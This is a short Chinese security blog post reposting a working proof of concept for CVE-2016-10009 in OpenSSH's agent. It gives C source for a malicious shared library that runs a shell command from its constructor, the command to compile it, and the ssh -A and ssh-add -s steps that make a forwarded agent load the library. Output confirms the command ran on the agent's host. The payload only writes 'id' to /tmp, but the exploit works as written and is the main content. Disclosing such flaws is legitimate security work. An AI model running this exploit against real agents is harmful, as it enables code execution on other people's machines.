OpenSSH 7.4代理协议任意库加载漏洞

CVE-2016-10009

$ cat evil_lib.c
#include <stdlib.h>
__attribute__((constructor)) static void run(void) {
  // in case you're loading this via LD_PRELOAD or LD_LIBRARY_PATH,
  // prevent recursion through system()
  unsetenv("LD_PRELOAD");
  unsetenv("LD_LIBRARY_PATH");
  system("id > /tmp/test");
}
$ gcc -shared -o evil_lib.so evil_lib.c -fPIC -Wall
 
Connect to another machine using "ssh -A". Then, on the remote machine:
 
$ ssh-add -s [...]/evil_lib.so
Enter passphrase for PKCS#11: [just press enter here]
SSH_AGENT_FAILURE
Could not add card: [...]/evil_lib.so
 
At this point, the command "id > /tmp/test" has been executed on the machine running the ssh agent:
 
$ cat /tmp/test
uid=1000(user) gid=1000(user) groups=[...]

本文固定链接: https://www.unhonker.com/bug/1968.html | 90' s Blog|关注网络信息安全

该日志由 unhonker 于2016年12月25日发表在 漏洞公布 分类下, 你可以发表评论,并在保留原文地址及作者的情况下引用到你的网站或博客。
原创文章转载请注明: OpenSSH 7.4代理协议任意库加载漏洞 | 90' s Blog|关注网络信息安全
关键字:

OpenSSH 7.4代理协议任意库加载漏洞:等您坐沙发呢!

发表评论

您必须 [ 登录 ] 才能发表留言!